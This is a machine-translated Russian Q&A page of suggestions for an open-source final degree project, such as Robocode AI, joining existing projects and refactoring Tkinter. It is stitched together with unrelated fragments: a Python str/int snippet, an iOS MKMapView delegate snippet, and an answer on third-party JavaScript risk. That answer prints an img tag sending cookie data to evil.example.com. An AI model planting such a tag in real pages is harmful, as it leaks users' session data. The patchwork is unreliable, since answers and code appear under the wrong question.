Предложения для Заключительного Проекта Градуса с открытым исходным кодом

str () в Python на целом числе будет не печать любые десятичные разряды.

, Если у Вас есть плавание, что Вы хотите проигнорировать десятичную часть, тогда можно использовать str (интервал (floatValue)).

, Возможно, следующий код продемонстрирует:

>>> str(5)
'5'
>>> int(8.7)
8
35
задан Joel Coehoorn 9 December 2011 в 18:38
поделиться

17 ответов

почему бы не разработать и не реализовать алгоритм искусственного интеллекта для ROBOCODE (поиск в Google). Вы можете использовать нейронные сети, кластеризацию, оптимизацию роя частиц ... или другие более продвинутые алгоритмы. большинство из них действительно просты и эффективны, только название звучит так, как будто оно взято из звездного пути.

Другое предложение, которое сейчас модно, было бы использовать гибридные приложения: взять несколько веб-сервисов и объединить их, сделав что-нибудь красивое. например http://globelogger.com/2008/05/timetube-awesom.html , это то, о чем я говорю

5
ответ дан 27 November 2019 в 07:00
поделиться

+1 от меня. Я думаю, это отличный вопрос.

У меня нет для вас конкретного ответа, но почему бы не направить ваше внимание на поиск чего-то, что может быть полезно для благотворительных организаций или развивающихся стран?

Благотворительные организации становятся все более зависимыми от технологий для сбора средств, управления логистика и др. Кроме того, в Африке мобильные телефоны часто используются для предоставления простых финансовых продуктов, которые позволяют людям, не имеющим доступа к более традиционным финансовым услугам, покупать и продавать вещи.

Если у вас есть время и желание, делайте то, что действительно приносит пользу. мир, а также получение высокой степени было бы очень приятно ...

Дэниел.

2
ответ дан 27 November 2019 в 07:00
поделиться

Вы, вероятно, захотите сделать что-то, что уже было сделано раньше, чтобы вы могли иметь некоторое представление о масштабах. Вам не нужно делать что-то, что будет повторно использоваться / с открытым исходным кодом, поскольку это всего лишь финальный проект.

  • Создайте систему распределенной обработки, такую ​​как seti online
  • Создайте игру.
  • Создайте социальную сеть site.
  • Создайте классную визуализацию для демонстрационной сцены
4
ответ дан 27 November 2019 в 07:00
поделиться

Помогите вам перенести Silverlight 3 на Mono? Я уверен, что вы могли бы найти конкретную функцию для реализации в качестве отдельного проекта. Это было бы очень полезным вкладом в сообщество открытого исходного кода и потребовало бы глубокого изучения того, как спроектирован фреймворк silverlight.

8
ответ дан 27 November 2019 в 07:00
поделиться

Получите спецификацию для какого-нибудь исторического языка (например, Algol60, Atlas Autocode, Coral 66) и реализовать для него полный компилятор с помощью транслятора на C; в частности, не стесняйтесь использовать некоторые из расширений GCC, которые значительно упрощают перевод этих блочно-структурированных языков с вложенными процедурами, объявлениями динамических массивов и т. д.

1
ответ дан 27 November 2019 в 07:00
поделиться

Присоединитесь к какому-нибудь проекту с открытым исходным кодом. Например, Qooxdoo ( http://qooxdoo.org ) имеет действительно хорошее сообщество и нуждается в опытных программистах. Это хороший фреймворк для веб-приложений. Или вы можете внести свой вклад в какой-нибудь действительно большой проект, такой как Ruby on Rails.

Если вам нравится низкоуровневый (например, аппаратное обеспечение), вы можете поработать над Gnu Compilers Collection.

Если вы действительно хороши в алгоритмах, вы можете разработать решения многих проблем параллельного программирования, которые существуют в настоящее время.

Это отличный вопрос, и если вы скажете мне, какой вид программирования вы предпочитаете, я с радостью уточню его.

Какого черта, я живу в Мадриде , чтобы мы могли встретиться в каком-нибудь баре и обсудить это.

/ Глеб

3
ответ дан 27 November 2019 в 07:00
поделиться

А как насчет распределенного мобильного решения с открытым исходным кодом? Теперь, когда мобильные устройства приобрели некоторую вычислительную мощность, было бы неплохо, если бы вы связали эту мощность с идеей распределенной системы, подобной SETI Байрона. Его также можно использовать в практических целях, например, для сбора данных GPS в массивной сетке, чтобы определять и избегать людных дорог и перекрестков.

2
ответ дан 27 November 2019 в 07:00
поделиться

Почему бы не заглянуть на веб-сайт Google Summer of Code , чтобы узнать о предыдущих проектах, которые еще не реализовывались. На их завершение уйдет пара месяцев, они относятся к проектам с открытым исходным кодом, и это то, что кто-то решил, что будет полезно.

18
ответ дан 27 November 2019 в 07:00
поделиться

Запустите вики-сайт сообщества только для табличных данных: список стран (название, валюта ...), список продуктов (название, витамины, калории ...), статистика инфляции по стране в год, ... что бы ни создавали пользователи. Разрешить пользователям создавать запросы и загружать результат в том формате, который им нравится (csv, excel, xml, ...). После этого создайте веб-сервис, чтобы позволить проектам с открытым исходным кодом использовать данные в своих продуктах.

3
ответ дан 27 November 2019 в 07:00
поделиться

Я бы посоветовал найти местную благотворительную организацию, которая нуждается в помощи в отслеживании их финансов / доноров / т. Д. Работайте с ними, чтобы определить их потребности и разработать приложение, которое поможет им решить их проблему. Я вижу в этом два преимущества. Во-первых, вы получаете опыт работы с реальными клиентами и их потребностями. Во-вторых, если вам это удастся, вы помогли некоторым людям, у которых, вероятно, нет ресурсов, чтобы сделать то, что им нужно, другим способом.

4
ответ дан 27 November 2019 в 07:00
поделиться

Есть несколько конкурсов кодирования / форумов / сайтов с идеями, в которых вы можете принять участие:

2
ответ дан 27 November 2019 в 07:00
поделиться

Выполните рефакторинг графического интерфейса Python Tkinter, чтобы удалить его зависимость от TCL. Это потребует создания последней версии TK, части проекта TCL , а затем замены внутреннего использования сценариев TCL сценариями Python. Проект будет написан на C.

Конечным результатом будет GUI-модуль Python TK, работающий в Windows, Macintosh и UNIX. Все, что связано с переносимостью, уже есть в модуле TKinter, так что работа там не будет. Вместо этого это будет похоже на операцию на головном мозге, выявление всех связей между TK и TCL, чтобы вы могли либо провести рефакторинг в более простой интерфейс для Python, либо выполнить замену TCL один на один на Python.

Это потребует изучения TCL и Python, а также, вероятно, написали некоторые инструменты, которые помогут вам перечислить взаимосвязи между TCL и TK. В конце проекта вы также получите много информации о кроссплатформенных графических интерфейсах, даже если у вас будет только одна из платформ, работающая как часть вашей степени.

Конечная цель этого - сделать этот графический интерфейс графический интерфейс Python по умолчанию, а интерфейс разработчика к графическому интерфейсу должен стать интерфейсом по умолчанию для других интерфейсов графического интерфейса. Например, разработчик Jython не может использовать этот графический интерфейс, но если вы сделаете интерфейс чистым и несистемным, тогда кто-то сможет написать PythonTK на Java, который использует SWING, а другая группа может написать PythonTK на C #, который использует Windows Forms.

Хотя основная часть работы заключается в рефакторинге разветвленного кода TK, вам необходимо тщательно продумать и изучить объектную модель, представленную программисту Python, чтобы минимизировать или исключить любые системные области.

4
ответ дан 27 November 2019 в 07:00
поделиться

Я бы рекомендовал присоединиться к существующему проекту с открытым исходным кодом. Создание собственного может быть забавным, но вряд ли принесет пользу сообществу разработчиков ПО с открытым исходным кодом. Люди вряд ли присоединятся к проекту, который вы начнете для школы, потому что вы, скорее всего, откажетесь от него после окончания учебы. Помощь в существующем проекте позволит вам добиться результатов в долгосрочной перспективе без долгосрочных обязательств.

Существует множество проектов с открытым исходным кодом, которые подошли бы для ваших навыков PHP: Drupal , Wordpress или любой из проектов Sunlight Labs . Лично мне нравится Sunlight Labs, потому что у них есть цель, выходящая за рамки простого создания программного обеспечения (сделать правительства более открытыми и прозрачными), а организация кажется здоровой и растущей. Независимо от того, какой проект вы выберете, вы можете »

7
ответ дан 27 November 2019 в 07:00
поделиться

У вас также есть возможность принять участие в сообществе разработчиков ядра Linux.

1
ответ дан 27 November 2019 в 07:00
поделиться

Создайте прочную основу для правильного графического редактора для Linux. Затем откройте исходный код и позвольте ему расти. Текущий выбор - GIMP, что очень плохо. Вместо того, чтобы исправлять или расширять его, разработайте новый проект с сильным ядром и возможностью расширения.

0
ответ дан 27 November 2019 в 07:00
поделиться

Вместо установки цели, как вы сделали здесь:

[advertButton addTarget:self action:@selector(showLinks:) forControlEvents:UIControlEventTouchUpInside];

Вы можете использовать делегат по умолчанию:

- (void)mapView:(MKMapView *)mapView annotationView:(MKAnnotationView *)view calloutAccessoryControlTapped:(UIControl *)control
-121--3057765-

Он может быть главным дырой в безопасности, поэтому вы должны доверять тому сайту, на котором размещен файл JavaScript.

Например, этот код может вводить больше тэги скриптов и img- тэгов на сайт, которые могут передавать конфиденциальные данные третьей стороне.

Комментарий Дэвида о политике того же происхождения может ввести в заблуждение. Классическим способом ретрансляции данных на удаленный сайт является вставка тэга img в удаленный домен:

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />

Если код JavaScript на удаленном хосте был изменен для динамической вставки тэга img, такого как этот, то у вашего сайта может быть отверстие безопасности. Некоторые из этих проблем, такие как использование только файлов cookie HTTP, не доступны через JavaScript.

Пример систем аналитики - отличный. Вы должны быть уверены, что поставщик не возьмет конфиденциальные данные, такие как ваши собственные файлы cookie, и не отправит их в удаленное место. Вы также должны доверять поставщику, что их система безопасна и что хакер не может изменить файлы JavaScript на их серверах. Аналитические системы, как правило, работают с использованием этих же методов, но, надеюсь, они используют его во благо, а не во зло. В некотором смысле это не отличается от беспокойства о том, пишут ли ваши разработчики хороший, безопасный код и вводят ли они секретный бэкдор.

Что касается почему это разрешено, это просто история. Веб-сайт не был спроектирован с учетом безопасности. Будь то CSRF-атака, повторная атака или XSS-атака, все это фундаментальные недостатки в дизайне Интернета, которые теперь становятся заботой веб-разработчиков.

-121--4780349-

Вы также можете присоединиться к проекту Robocode и реализовать некоторые нетривиальные функции; -) Прочитайте это и поговорите с нами .

2
ответ дан 27 November 2019 в 07:00
поделиться
Другие вопросы по тегам:

Похожие вопросы: